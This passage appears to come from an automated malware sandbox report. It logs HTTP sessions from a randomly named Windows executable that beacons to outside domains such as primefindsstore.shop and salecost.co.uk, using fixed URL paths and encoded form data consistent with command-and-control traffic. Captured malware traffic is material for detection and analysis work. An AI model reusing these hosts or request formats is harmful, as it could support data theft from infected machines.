Z6ZTG=OhJ16vQUvswq/xJ8wvGfzYaWQQHJjlfH958XI7iYuBiFdE61tnh9gAID7jxN+LFoZd/67Mzi2xzxGzi0Uiea0Ok2/23+r6eDyoCXVx7hovWO3HpmyCUyiWtOxhPcIlL2lhChIWFGpabIa+QLQwXaLy7Wz4faCfsIqoU7QH7eNkqNoXiEbwnV54ckENXvss9RdGCV7FD8yEL27rioyKqhKoCNC46by0+yjtm+Bg9YOiBGU2GtAWwE+G+Yivjz9Y30DF0znA5XrNJYZ00F6zZRzoK8Ley+DGwXv+AjWJ3LqcYsVKDl2jlRzFynl1aeSfZWp9fGPdL0IXUz80LN2qluxq2bEH85fgQkh0fT1G0ff+QSe3dkCYxEnPZcdPViMl2b8XQWeAEnxEg1r75j7KwMSyHGtJp8NT11riCMgePpck9pj6xug5uSLP8ZrQA+v+04Ts0cp/fFQXE7J1UmNZ3OtEYHd70Q+Sh8fUJrpilJ8D7fmCJT9B94zo2LcmZ13tOa2Ykn/U2de02Sy7zHbVvQxj3cOR+Lj9+0GuF0dsgTNJy+IYBRyzROKAIO3CIiY/7LkCnHszvOv+DQ50Ug8u5Jy3q6CMSkkR/A6Qz6YhNdcC6x5VsP7Kvpvz7GLrmyhDN4SGq1StV+Q5xoAM+slA+Fll29rWWhJkv0xoFQCupFU16i0tVsYWCQ6Obn9GiDoMD4HkLufyPmlsj+YXEPH/fEnsCI3hDQTOLboby7mgU83BrrNypAaIAE+i8bjI1rPhelLY2WymxVhJleOZr6qYWP3tYZvGzy0cFLopEXWV1mv8tQ72qwGY5WpPaiKAT8PXUxlBgsI2YzTh55m7T+SV8StJUBjRKKFYFtLtnjOJl2E5Zqy8BPS9rFeYfVuugsOpSIXxeo93RwOcqdfH5rA2AtUITDaED6+Vubimes/Y09XAa7b7Dw242LFRBRFkvdL2CWVE8kHOguS1LzgeL59TPe2seaml3P51vLdMDtTnyxFk8gDZ [TRUNCATED]
Jul 3, 2024 18:54:23.050549984 CEST	1236	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 03 Jul 2024 16:54:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding X-Powered-By: PHP/7.4.33 Set-Cookie: slv_session_a09c0148b9fdb1e1201753b66346053d=756559287fe03a4415a77fd29eb7083c%7C%7C1720198462%7C%7C1720194862%7C%7C3fd2ead987855aa39d85578e2a4e75dd; expires=Fri, 02-Aug-2024 16:54:22 GMT; Max-Age=2592000; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Set-Cookie: PHPSESSID=srdaoiq9gdvc81bcuceegectf2; path=/ Pragma: no-cache Link: <https://primefindsstore.shop/wp-json/>; rel="https://api.w.org/" Content-Encoding: gzip Data Raw: 33 31 35 36 0d 0a 1f 8b 08 00 00 00 00 00 02 03 ed 7d f9 76 db 38 d2 ef df d3 e7 7c ef 80 51 cf 37 b6 7b 4c 49 d4 2e 27 76 8f 77 a7 bd c4 6d c9 c9 24 93 39 3a 10 09 49 8c 29 92 c3 c5 b6 92 93 07 ba af 71 9f ec 56 01 a4 04 48 24 25 6f dd 99 3b 9d c5 96 b0 fc 50 28 14 0a 85 02 58 7c fd 67 d3 35 c2 89 c7 c8 28 1c db 3b ff f3 c3 6b fc 4d 6c ea 0c b7 0b cc d1 ae 3b 05 62 d8 34 08 b6 0b 8e ab 7d 0e 0a e4 7e 6c 3b f0 6d 14 86 de 56 a9 74 77 77 57 bc ab 16 5d 7f 58 d2 db ed 76 09 6b 17 38 0c a3 26 fc 26 f0 e7 b5 6d 39 37 c4 67 f6 76 21 18 b9 7e 68 44 21 b1 0c d7 29 90 91 cf 06 02 2a 00 2c cf b7 c6 6c 60 39 66 10 84 ae cf 8a 50 d8 2b dd 79 1a 14 0d 99 13 96 22 cf 76 a9 19 94 2a e5 4a ad 54 6e 96 fa 2c 08 b5 80 d9 36 f3 03 ad 52 d6 06 f4 b6 e8 39 c3 42 29 69 77 cc 42 4a 8c 11 f5 03 16 6e 17 ae bb 47 5a ab a0 e4 39 74 cc b6 0b b7 16 bb f3 80 2e e8 a9 68 69 bb 70 67 99 e1 68 db 64 b7 96 c1 34 fe 65 93 58 8e 15 5a d4 d6 02 83 da 6c 5b 2f 96 37 c7 90 34 8e c6 52 0a 19 d3 fb f9 a4 28 60 3e ff 4e fb 90 e4 b8 9b 24 [TRUNCATED] Data Ascii: 3156}v8\|Q7{LI.'vwm$9:I)qVH$%o;P(X\|g5(;kMl;b4}~l;mVtwwW]Xvk8&&m97gv!~hD!),l`9fP+y"vJTn,6R9B)iwBJnGZ9t.hipghd4eXZl[/74R(`>N$-tBZvCF7$7r%.Q}74A5z3M![#fCf:X8t;^Nxc[mt.e2%?3'(\0(L),o/ZomLnAe'DA;}5n
Jul 3, 2024 18:54:23.050573111 CEST	1236	IN	Data Raw: 34 db ea fb d4 9f 3c 80 3e cb 31 ec c8 64 82 5d a6 15 84 25 05 29 a6 14 64 7a 4a 6d a3 58 2f d6 97 53 cb 2b 72 ea b8 a6 b0 0c 8d b3 40 13 b4 43 bb d0 9d 78 ac e7 a0 76 7e 28 fd f4 67 d2 1d 59 01 19 58 88 11 10 1a c1 b4 18 32 87 f9 34 64 26 f9 a9 Data Ascii: 4<>1d]%)dzJmX/S+r@Cxv~(gYX24d&Cq~!{[?W}j}(ZZTUUM\|>5(!^Ftad-Z#=j3ik&wAx^VW{--WlmF5:%RH)~x-FvV`q5'
Jul 3, 2024 18:54:23.050578117 CEST	448	IN	Data Raw: 32 79 fd 60 e4 f9 6a 59 12 31 db 92 3d 40 2c a6 95 32 e9 7d 28 ec 5c ad 4c 5c 61 fb 3e 08 54 54 49 41 14 73 7e de cd f3 75 c1 ef f3 0c 9a e0 29 8d ac ac 1f 9e d2 c8 72 ad f1 14 f4 d5 74 c9 53 5a 78 b8 86 79 4a 6b 4f d2 3b cf d8 f0 ca da e8 49 6d Data Ascii: 2y`jY1=@,2}(\L\a>TTIAs~u)rtSZxyJkO;Im>BG=}(,gOZM-}K_E=\|u]t#PWm@~N{D+OeOopu=TYGweu&2u;kvW>XESD*:FCZZYWI^\|-?x-O[CN)
Jul 3, 2024 18:54:23.050668955 CEST	1236	IN	Data Raw: 35 64 d7 c0 f5 c7 c9 25 34 8e cb ef 56 21 76 20 5d f9 82 bf b5 62 e5 29 b7 be 04 cd 06 f5 c3 97 a2 19 6b c2 d6 68 d8 c3 46 9e 95 f6 80 51 df 18 c1 1c 71 cd c8 78 39 fa 95 56 9e d2 81 e9 75 54 ea 59 c5 3b 7e b3 75 d5 8b aa 9f 03 d7 81 c2 a5 1d 09 Data Ascii: 5d%4V!v ]b)khFQqx9VuTY;~u7A@zm\|,]=\_KRw{{}X](,ZBN \|([dmvpGWhCuY6I@X^@du_
Jul 3, 2024 18:54:23.050769091 CEST	1236	IN	Data Raw: a1 2f 76 40 c5 01 6c d0 03 03 0f 53 e3 2d 11 fd 9a 3f a2 2b 61 28 bb eb 54 a0 e5 d5 97 18 fa 4f a7 4f 31 7d 9f 85 4a 0e f8 00 5a e7 46 65 e0 ba a1 ba 21 c9 5c 6e a4 7e c6 b5 72 bb 81 65 5c 87 91 51 5d ec d8 37 e5 94 47 f0 56 b4 09 95 93 66 4d 8a Data Ascii: /v@lS-?+a(TOO1}JZFe!\n~re\Q]7GVfMW\|7a6$?#K$ y]:h<]Sx-%wl\|SUy\GjjG17^npC41s!3b>[O(32u-Eejp w=HB\|]NkjhQj
Jul 3, 2024 18:54:23.050776958 CEST	1236	IN	Data Raw: 37 9d a7 39 8b 59 d0 dc fd da ce 62 32 1e 46 ad ed cc a6 01 cc 7c 21 ab 20 2d 8a 0a 80 1c bd 18 5f 8d e6 17 72 a5 39 5f 2d e9 95 52 a5 5d aa b6 f5 66 b5 5d 6f d7 f5 01 6b 99 55 a3 d2 af f6 db 75 46 75 a3 4e 59 9b d2 7a b9 49 ab 46 ab a5 89 45 9d Data Ascii: 79Yb2F\|! -_r9_-R]f]okUuFuNYzIFEAbCQ+gCfb2E/<Eo{o%=tOyL.c#xL\!p0;O+O"-k2\QVkL#CzQ{0+#B.97X5rAtgMzk9P
Jul 3, 2024 18:54:23.050978899 CEST	1236	IN	Data Raw: 57 7d 39 13 d5 c2 47 47 44 b8 1d ad 6a 6a 1e 0f 70 3c c0 d8 d1 a1 3b d1 06 ae 8f 5a f0 7b b6 47 2b 65 5d 6f e8 cd 66 43 1b d3 fb 97 d1 73 6f 66 3c 22 d5 03 72 89 3c 22 47 c0 23 d2 75 27 04 78 84 1a 2f f8 e3 14 ea ff 03 af 6b ed bf f6 ce 42 bd fa Data Ascii: W}9GGDjjp<;Z{G+e]ofCsof<"r<"G#u'x/kBfmuUs=c<jc(Z;+gI]AV\4FYLF\|5i+%Vo4V`FdFtPPZ})a7FodqKFraV\|q@U*b
Jul 3, 2024 18:54:23.050987005 CEST	1236	IN	Data Raw: 8e 31 27 35 12 d4 1c 3a 86 59 00 75 a6 8d 4d ad c6 3f dc db 5a ad 90 b1 28 bf 1e d5 93 b1 00 99 af 67 95 52 9a 70 58 da 7a aa 94 f7 a6 51 f0 50 03 aa ec 7a 89 3f 53 27 19 36 17 ba 5b b9 0a 77 27 2f 77 51 dc 57 a6 a1 e4 e5 b2 64 27 bb 40 9a c1 91 Data Ascii: 1'5:YuM?Z(gRpXzQPz?S'6[w'/wQWd'@nE$;Hv0boyK^W]pUH"o\Q\zW6/]+{\)vtY z2nBe9\9$Ln&g^~xr)n>'+G6+"
Jul 3, 2024 18:54:23.051018953 CEST	1236	IN	Data Raw: 88 e2 02 f6 ad 42 ea 5b 05 16 33 33 31 5d db 1d f7 ad 19 a5 6f 2f 05 e0 c7 53 19 f0 a3 02 78 0a 2d eb 65 33 1b f4 0b 83 b5 fc 8a 79 51 1f f6 59 e4 d4 f5 23 07 24 09 30 39 f6 3f 76 e5 61 62 63 2f 9c 28 f0 98 9f 09 0d da 0b c4 9e ec 0e 40 65 00 d5 Data Ascii: B[331]o/Sx-e3yQY#$09?vabc/(@eGd q`(C^e9:WU0;xOCZLV2^HEEr%2Qff\|D<ffDr~y-7r1apey
Jul 3, 2024 18:54:23.051026106 CEST	776	IN	Data Raw: 2f de 41 ef 9f 1d 65 fa 52 ae 8f 56 70 a4 a0 77 8e b8 03 8c fb 8c ef eb 24 eb b0 95 44 c7 4a ec aa b9 38 c9 76 ab 60 66 e6 9e f7 e2 04 5d 29 27 02 e5 6a 5f 46 59 dc 9d e5 19 d4 fb 2e 18 be 60 0b 70 af 84 6b e3 86 7c 50 45 3f cd d5 be 00 bf 56 5c Data Ascii: /AeRVpw$DJ8v`f])'j_FY.`pk\|PE?V\4]4NqO;}1&r00"q/P@S=Pl?4/'8u(<t!<]2f`fwg8xCf+yN*t1!B7
Jul 3, 2024 18:54:23.055552006 CEST	1236	IN	Data Raw: d8 cf b5 42 dd b1 eb 4b 86 0d 00 09 c0 4b c5 9f 7f f9 20 7f fe 85 eb cf f9 f3 01 4e c0 be 97 e5 ea 54 d9 21 40 5e de 78 45 77 38 fd 13 b1 82 c2 02 50 51 a3 a7 8a 1a 3d cd 57 a3 fb 74 32 06 fa 92 f5 38 99 02 a7 b1 2e 3d fd 28 1f 36 9f 7e 4c 5b f3 Data Ascii: BKK NT!@^xEw8PQ=Wt28.=(6~L[amL.sU8%weMp_38: DloAjE+SdX_Lx}H}%3LQ3<#/+g*sy\r,XR18S,OLYc~ w^4,E/"PRsE

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.6	49753	23.105.172.12	80	5680	C:\Program Files (x86)\NXLBzGBJZEKXLSDXbGEARvNAbdTqqXUHbIINICYaWMGxMje\NwXvnHITawmpBkkZKEXJ.exe

Timestamp	Bytes transferred	Direction	Data
Jul 3, 2024 18:54:24.469583988 CEST	486	OUT	GET /hfkt/?3pSl=bXiTJHhxyN&Z6ZTG=DjhV5ZtyptNtrRVL14+Y+susbmSjzG/9xdAoGM+9umLmUU6H5kdIuyQunB9svsxFbN7a2+mg2UjjMTinRCLCxuYh/RfhiZ2azIWHVHb3pa+ivSdntBEUsH8W9S2MHlPSw0GyODA= HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Host: www.primefindsstore.shop Connection: close User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.0
Jul 3, 2024 18:54:25.381266117 CEST	813	IN	HTTP/1.1 301 Moved Permanently Server: nginx Date: Wed, 03 Jul 2024 16:54:25 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: close X-Powered-By: PHP/7.4.33 Set-Cookie: slv_session_a09c0148b9fdb1e1201753b66346053d=1c4e7a7306f0d02632d76f4d715bcb0d%7C%7C1720198465%7C%7C1720194865%7C%7C58b4abfabd66bd49e0cce7a8633a7e96; expires=Fri, 02-Aug-2024 16:54:25 GMT; Max-Age=2592000; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Set-Cookie: PHPSESSID=gu2v2lqtpnq0r4oilotonre57s; path=/ Pragma: no-cache X-Redirect-By: WordPress Location: http://primefindsstore.shop/hfkt/?3pSl=bXiTJHhxyN&Z6ZTG=DjhV5ZtyptNtrRVL14+Y+susbmSjzG/9xdAoGM+9umLmUU6H5kdIuyQunB9svsxFbN7a2+mg2UjjMTinRCLCxuYh/RfhiZ2azIWHVHb3pa+ivSdntBEUsH8W9S2MHlPSw0GyODA=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.6	49754	185.151.30.199	80	5680	C:\Program Files (x86)\NXLBzGBJZEKXLSDXbGEARvNAbdTqqXUHbIINICYaWMGxMje\NwXvnHITawmpBkkZKEXJ.exe

Timestamp	Bytes transferred	Direction	Data
Jul 3, 2024 18:54:38.809283018 CEST	736	OUT	POST /lxk5/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate Host: www.salecost.co.uk Origin: http://www.salecost.co.uk Connection: close Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Content-Length: 210 Referer: http://www.salecost.co.uk/lxk5/ User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.0 Data Raw: 5a 36 5a 54 47 3d 2b 68 52 45 64 38 65 48 71 42 46 50 74 79 32 74 78 69 66 72 41 71 63 79 78 6b 72 48 38 61 43 4f 65 49 74 6d 41 32 36 34 31 31 79 4f 64 62 67 48 30 6e 4d 31 7a 4f 65 72 6a 35 79 47 43 37 56 62 33 57 31 35 4a 76 6f 32 62 79 54 39 58 75 51 78 50 31 54 6a 4f 45 58 78 76 5a 6c 46 66 4b 78 6a 76 54 57 33 4c 6f 64 62 48 39 4a 6a 32 76 76 59 41 53 64 41 52 69 67 4d 69 53 58 66 6d 74 4b 53 53 46 2b 49 6f 79 6f 4c 75 72 64 6c 4e 33 54 34 77 73 63 74 55 6a 50 63 5a 6b 63 4f 2b 64 62 62 63 4a 30 6c 42 78 51 4f 56 46 4a 4d 70 4c 45 4f 32 55 35 71 6c 58 31 4c 38 31 6c 74 61 69 2f 32 36 38 54 73 31 34 61 6b 39 34 37 79 Data Ascii: Z6ZTG=+hREd8eHqBFPty2txifrAqcyxkrH8aCOeItmA26411yOdbgH0nM1zOerj5yGC7Vb3W15Jvo2byT9XuQxP1TjOEXxvZlFfKxjvTW3LodbH9Jj2vvYASdARigMiSXfmtKSSF+IoyoLurdlN3T4wsctUjPcZkcO+dbbcJ0lBxQOVFJMpLEO2U5qlX1L81ltai/268Ts14ak947y
Jul 3, 2024 18:54:39.578632116 CEST	364	IN	HTTP/1.1 404 date: Wed, 03 Jul 2024 16:54:39 GMT server: Apache content-length: 196 content-type: text/html; charset=iso-8859-1 x-via: ASH1 connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.6	49755	185.151.30.199	80	5680	C:\Program Files (x86)\NXLBzGBJZEKXLSDXbGEARvNAbdTqqXUHbIINICYaWMGxMje\NwXvnHITawmpBkkZKEXJ.exe

Timestamp	Bytes transferred	Direction	Data
Jul 3, 2024 18:54:41.338901043 CEST	760	OUT	POST /lxk5/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate Host: www.salecost.co.uk Origin: http://www.salecost.co.uk Connection: close Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Content-Length: 234 Referer: http://www.salecost.co.uk/lxk5/ User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.0 Data Raw: 5a 36 5a 54 47 3d 2b 68 52 45 64 38 65 48 71 42 46 50 72 53 71 74 33 42 33 72 52 36 63 78 2b 45 72 48 6d 71 43 4b 65 49 70 6d 41 7a 43 6f 31 68 65 4f 61 35 49 48 31 6c 30 31 2f 75 65 72 72 5a 79 44 4e 62 56 75 33 57 70 4c 4a 76 55 32 62 79 48 39 58 71 55 78 50 45 54 69 4d 55 58 4a 37 70 6c 55 52 71 78 6a 76 54 57 33 4c 6f 49 2b 48 37 68 6a 32 66 66 59 42 7a 64 44 50 79 67 4e 6c 53 58 66 33 64 4b 57 53 46 2b 75 6f 7a 30 6c 75 70 56 6c 4e 31 4c 34 7a 2b 30 71 61 6a 50 53 56 30 64 68 76 59 32 74 52 71 42 6e 45 48 5a 72 45 48 4e 73 73 39 46 55 71 6e 35 4a 33 48 56 4a 38 33 39 66 61 43 2f 63 34 38 72 73 6e 76 57 44 79 4d 65 52 72 6c 4a 39 4f 43 50 69 77 74 57 6b 31 61 70 4c 71 42 78 4e 2f 51 3d 3d Data Ascii: Z6ZTG=+hREd8eHqBFPrSqt3B3rR6cx+ErHmqCKeIpmAzCo1heOa5IH1l01/uerrZyDNbVu3WpLJvU2byH9XqUxPETiMUXJ7plURqxjvTW3LoI+H7hj2ffYBzdDPygNlSXf3dKWSF+uoz0lupVlN1L4z+0qajPSV0dhvY2tRqBnEHZrEHNss9FUqn5J3HVJ839faC/c48rsnvWDyMeRrlJ9OCPiwtWk1apLqBxN/Q==
Jul 3, 2024 18:54:42.132993937 CEST	364	IN	HTTP/1.1 404 date: Wed, 03 Jul 2024 16:54:42 GMT server: Apache content-length: 196 content-type: text/html; charset=iso-8859-1 x-via: ASH1 connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.6	49756	185.151.30.199	80	5680	C:\Program Files (x86)\NXLBzGBJZEKXLSDXbGEARvNAbdTqqXUHbIINICYaWMGxMje\NwXvnHITawmpBkkZKEXJ.exe

Timestamp	Bytes transferred	Direction	Data
Jul 3, 2024 18:54:43.873456001 CEST	1773	OUT	POST /lxk5/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate Host: www.salecost.co.uk Origin: http://www.salecost.co.uk Connection: close Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Content-Length: 1246 Referer: http://www.salecost.co.uk/lxk5/ User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.0 Data Raw: 5a 36 5a 54 47 3d 2b 68 52 45 64 38 65 48 71 42 46 50 72 53 71 74 33 42 33 72 52 36 63 78 2b 45 72 48 6d 71 43 4b 65 49 70 6d 41 7a 43 6f 31 67 4b 4f 64 4b 77 48 31 43 59 31 2b 75 65 72 6f 5a 79 43 4e 62 56 7a 33 57 68 31 4a 76 59 4d 62 78 2f 39 58 50 41 78 4e 32 72 69 47 55 58 4a 6b 35 6c 45 66 4b 77 35 76 54 47 37 4c 6f 59 2b 48 37 68 6a 32 63 48 59 48 69 64 44 4e 79 67 4d 69 53 58 44 6d 74 4c 42 53 47 50 62 6f 7a 78 51 76 59 31 6c 4e 56 62 34 38 74 63 71 57 6a 4f 30 57 30 64 35 76 59 79 2b 52 71 4e 64 45 48 45 4f 45 48 4a 73 76 4b 78 4b 33 46 70 2f 74 42 46 45 6b 46 42 31 63 45 2f 64 38 4d 2f 75 6f 39 43 4e 7a 34 43 43 73 54 64 68 46 52 33 6a 7a 65 57 31 32 50 6f 6d 38 67 59 56 6b 4d 71 6d 69 61 56 53 64 36 4d 44 6f 78 54 6c 71 38 7a 59 58 42 37 5a 46 78 52 53 7a 52 42 66 41 4c 43 6b 4a 32 2f 69 4c 6b 4a 2f 63 72 36 4c 34 4b 61 58 77 30 4f 61 68 46 67 38 58 55 43 6f 41 57 4c 72 62 69 79 56 38 41 4f 78 46 74 48 48 6a 65 36 61 31 57 56 42 32 61 36 68 55 64 51 6c 70 5a 50 6b 61 32 4e 43 41 64 76 59 [TRUNCATED] Data Ascii: Z6ZTG=+hREd8eHqBFPrSqt3B3rR6cx+ErHmqCKeIpmAzCo1gKOdKwH1CY1+ueroZyCNbVz3Wh1JvYMbx/9XPAxN2riGUXJk5lEfKw5vTG7LoY+H7hj2cHYHidDNygMiSXDmtLBSGPbozxQvY1lNVb48tcqWjO0W0d5vYy+RqNdEHEOEHJsvKxK3Fp/tBFEkFB1cE/d8M/uo9CNz4CCsTdhFR3jzeW12Pom8gYVkMqmiaVSd6MDoxTlq8zYXB7ZFxRSzRBfALCkJ2/iLkJ/cr6L4KaXw0OahFg8XUCoAWLrbiyV8AOxFtHHje6a1WVB2a6hUdQlpZPka2NCAdvYswEULDuLuTC9OMVTvTdcljMVpPgkOX5Sq5zMaDUBIsIPz0tB7iPEomcF95io6e22tIRsPVuS7acRJOSxA5Vk1nDpxZiWnPPEzQOoUWJAYmHmfxcwNPJMZ0Uog2TcGHaOEc98sjGfgrgkEsnmKjkl4Xt1b6lvoO51rqVL3W1So5ibBw8DySv4CRJ/+NxrZqT/XWXfMLyCYS9bYPdoGAtdaVWcwFmXKWCtCY6b6HBXeSomReuDZcEnBgEHthhUVcrT4KFt3ZalXeeyIMruqjzLOPh7h+5QFoqeIT6C6kJUFmF44kgmCY5AIjldlUFlm7YQH9sbL9gbNX5an2ouohL2Khz7V0hdaQ7JZJrWr2fST5iyTikghpIBR1uJ7j7Awlgd5+NlpsMkaufHH2J5PP5hESN73vpnKM8omzL2JmZNRPMItfzVns80blci0/j1jldsqXw75cR93RlSvkj+WYKoPKyC2DEkWzILmcs+k0PhUzI5ro4bAkhnftSrOqhOA/vKrHLX5JUVkBubXo/i0rkS+S8nkVP3mO8P6IMTU7EbbxfnZ5ZI+6FsOiMbGZSBkOaPn7+UkPoROYXmHhqSMbq3zDxuvOSpeti9pxZAe9Q7U+h3/uIZA0Lp719tco+bDiAuUSk/39byzf6RHkim++66g7CAvKKtuZ+qyG [TRUNCATED]
Jul 3, 2024 18:54:44.660573959 CEST	364	IN	HTTP/1.1 404 date: Wed, 03 Jul 2024 16:54:44 GMT server: Apache content-length: 196 content-type: text/html; charset=iso-8859-1 x-via: ASH1 connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.6	49757	185.151.30.199	80	5680	C:\Program Files (x86)\NXLBzGBJZEKXLSDXbGEARvNAbdTqqXUHbIINICYaWMGxMje\NwXvnHITawmpBkkZKEXJ.exe

Timestamp	Bytes transferred	Direction	Data
Jul 3, 2024 18:54:46.405517101 CEST	480	OUT	GET /lxk5/?3pSl=bXiTJHhxyN&Z6ZTG=zj5keJbhqHRqpBHEzEPKOuQbxRjm8qWuWsd9F2eyqHWyZ50o0GVe7MC2nYinXopw20BlJsxmZQL4Qtg6IXTgBkLaiZkxb6ZcnHHrEYQse9ZTnJ7WfQRHJgpeqyDS6bOga2ykoHk= HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Host: www.salecost.co.uk Connection: close User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.0
Jul 3, 2024 18:54:47.172274113 CEST	460	IN	HTTP/1.1 404 date: Wed, 03 Jul 2024 16:54:37 GMT content-type: text/html; charset=iso-8859-1 transfer-encoding: chunked vary: Accept-Encoding server: Apache x-origin-cache-status: MISS x-cdn-cache-status: MISS x-via: ASH1 connection: close Data Raw: 43 34 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: C4<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.6	49759	142.250.185.83	80	5680	C:\Program Files (x86)\NXLBzGBJZEKXLSDXbGEARvNAbdTqqXUHbIINICYaWMGxMje\NwXvnHITawmpBkkZKEXJ.exe

Timestamp	Bytes transferred	Direction	Data
